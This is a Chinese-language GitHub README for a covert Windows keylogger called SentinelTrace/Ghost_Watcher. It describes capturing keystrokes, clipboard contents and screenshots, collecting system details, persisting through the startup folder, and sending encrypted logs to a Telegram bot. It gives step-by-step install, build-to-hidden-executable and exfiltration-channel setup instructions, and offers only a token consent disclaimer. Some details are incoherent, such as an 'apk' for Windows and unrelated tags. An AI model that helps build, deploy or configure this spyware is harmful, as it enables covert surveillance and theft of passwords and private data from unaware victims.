MintViper03/SentinelTrace
GitHub: MintViper03/SentinelTrace
SentinelTrace 是一款 Windows 平台上的隐蔽键盘记录与监控工具,支持击键捕获、截图、系统信息收集、日志加密及通过 Telegram 远程回传数据。
Stars: 0 | Forks: 0
# SentinelTrace
一个隐蔽的键盘记录器,可记录击键、捕获剪贴板数据,并将加密日志和解密日志发送至 Telegram。它在后台隐形运行,且仅支持 Windows。非常适合在获得适当同意的情况下进行合乎道德的监控。请负责任地使用。
# 具有增强功能的键盘记录器
这个 Python 脚本是一个键盘记录器,具有截图、收集系统信息、加密日志文件和实现持久化等额外功能。它会定期将捕获的数据发送到 Telegram 机器人。
**免责声明:** 此脚本仅供教育目的使用。您应负责任地使用它,并且仅在您拥有或获得明确监控许可的系统上使用。未经授权使用键盘记录器是非法且不道德的。
## 功能
- **击键记录**:捕获并记录击键。
- **屏幕截图**:定期进行屏幕截图。
- **系统信息收集**:收集系统详细信息(操作系统、处理器、用户名等)。
- **日志文件加密**:使用 Fernet 加密对日志文件进行加密。
- **持久化**:在 Windows 上将脚本添加到开机启动项。
- **Telegram 集成**:将日志和屏幕截图发送到 Telegram 机器人。
## 前置条件
在运行脚本之前,请确保您具备以下条件:
1. **Python 3.6+**:从 [python.org](https://www.python.org/) 安装 Python。
2. **必需的库**:使用 `pip` 安装必要的 Python 库。'
3. **Telegram Bot**:创建一个 Telegram 机器人并获取 API token 和 chat ID。
## 安装说明
### 1. 克隆仓库
将此仓库克隆到您的本地计算机:
```
git clone https://github.com/MintViper03/Ghost_Watcher.git
cd Ghost_Watcher
```
### 2. 安装依赖项
安装所需的 Python 库:
```
pip install pynput pyperclip requests pyautogui cryptography pywin32
```
### 或者
您可以将所有文件合并到一个 apk 中。该 apk 会检查系统中是否安装了 python。如果没有,它可以自动安装 Python 及其依赖库,然后运行脚本。
```
cd Ghost_Watcher
pyinstaller --onefile --windowed ghost_watcher.py
```
## 配置
### 1. 设置 Telegram Bot
1. 打开 Telegram 并搜索 BotFather。
2. 使用 /newbot 命令创建一个新机器人。
3. 保存 BotFather 提供的 API token。
4. 开始与您的机器人聊天并发送一条消息。
5. 使用以下 URL 获取您的 chat ID(将 YOUR_TOKEN 替换为您机器人的 token):
`https://api.telegram.org/botYOUR_TOKEN/getUpdates`
6. 在 JSON 响应中查找 chat.id 字段。
### 2. 更新脚本配置
打开脚本 (`ghost_watcher.py`) 并更新以下变量:
```
TOKEN = "YOUR_TELEGRAM_BOT_TOKEN" # Replace with your bot's token
CHAT_ID = "YOUR_CHAT_ID" # Replace with your chat ID
```
## 使用说明
### 1. 运行脚本或 Apk 文件
执行脚本:
```
python3 ghost_watcher.py
```
脚本将会:
- 开始捕获击键。
- 定期进行屏幕截图。
- 收集系统信息。
- 加密日志并将其发送到您的 Telegram 机器人。
### 2. 持久化(可选)
脚本会自动将自身添加到 Windows 启动文件夹中。如果您想禁用此功能,请注释掉脚本中的以下行:
```
add_to_startup()
```
### 3. 停止脚本
要停止脚本,请在运行它的终端中按 `Ctrl + C`。
### 或者
如果您运行的是 APK,请从任务管理器的运行进程和启动文件夹中将其移除。
标签:DNS 反向解析, Python, Telegram机器人, 数据加密, 无后门, 无线安全, 漏洞挖掘, 网络信息收集, 逆向工具, 键盘记录器